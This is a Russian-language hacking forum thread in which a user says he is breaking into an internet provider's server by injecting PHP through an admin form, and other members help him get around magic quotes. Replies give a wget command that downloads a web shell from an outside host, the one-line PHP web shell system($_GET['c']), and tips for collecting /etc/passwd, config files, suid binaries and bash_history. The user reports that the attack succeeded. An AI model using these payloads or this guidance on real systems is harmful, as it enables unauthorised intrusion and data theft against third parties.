Пшп инъекция

Discussion in 'Уязвимости' started by FeeR, 28 Mar 2007.

  1. FeeR

    FeeR New Member

    Joined:
    15 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Имею 3 файла, admin.php, counter.dat, gor_news.php.

    Админ пшп выглядит просто - 1 мемо и кнопка. То, что вводиться в мемо пишится в counter.dat. При заходе в gor_news.php загружаеться этот самый коунтер.дат. В админ.пшп можно вставлять пшп код, но код типа

    <?php system('ls') ?>

    в канутер.дат уже записываеться, как

    <?php system(\'ls\') ?>

    При вводе кода без кавычек получаю листинг файлов. Код типа

    <?php system($cmd) ?>

    выдает Warning: system() [function.system]: Cannot execute a blank command in /var/apache2/htdocs/rus/home/counter.dat on line 1

    Думаю, проблема вам понятна) Как её можно обойти, и если обойти нельзя, можно ли прямым вводом команд получать листинг предыдущей папки? Выручайте, провайдера взламываю =)
     
    #1 FeeR, 28 Mar 2007
    Last edited: 28 Mar 2007
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    хз чё посоветовать
    попробуй wget'ом шелл залить
    <? system(wget http://medved.ru/preved.php /var/apache2/htdocs/rus/home/preved.php) ?>
     
  3. FeeR

    FeeR New Member

    Joined:
    15 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    На вгет получил

    Parse error: syntax error, unexpected T_STRING in /var/apache2/htdocs/rus/home/counter.dat on line 1
    =)
    Пробовал так:
    <?php system(&#39 ls &#39); ?>

    Глупо, и не получилось =)

    Напомните плз команды сервера, ls, cd и т.д., просмотр файла и всякое такое, давно не работал забыл уже ))
     
    #3 FeeR, 28 Mar 2007
    Last edited: 28 Mar 2007
  4. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Точно незнаю, но помойму эта хрень называется "magic quotes" и как то отключается на сервере
     
  5. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    мдя..
    <? system($_GET[c]); ?>
    потом командуй
    script.php?c=id
     
    _________________________
    1 person likes this.
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    \x27 = '
     
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PHP:
    <? system($_GET[c]); ?>
    Тош))
    Так правильнее будет -->>
    PHP:
    <? system($_GET['c']); ?>
     
  8. FeeR

    FeeR New Member

    Joined:
    15 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Так, спасибо тоха, я делал немного подругому) c как переменную объявлял и пшп тупил =) Есть доступ. Какие файлы в ../../../../../ могут пригодиться? =) etc\passwd слил.
     
  9. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    Почти в любом шелле есть поиск всех *conf, suid программ и др...загрузи шелл командой wget http://yoursite/shell.php(шеллы тут ). Также можно посмотреть bash_history в домашних каталогах /home/*(они не объязательно могут быть там).
     
  10. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    просто командуй:
    и так далее...
     
  11. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    я знаю, тока ты учти что у него мэджик квост он=\
     
    _________________________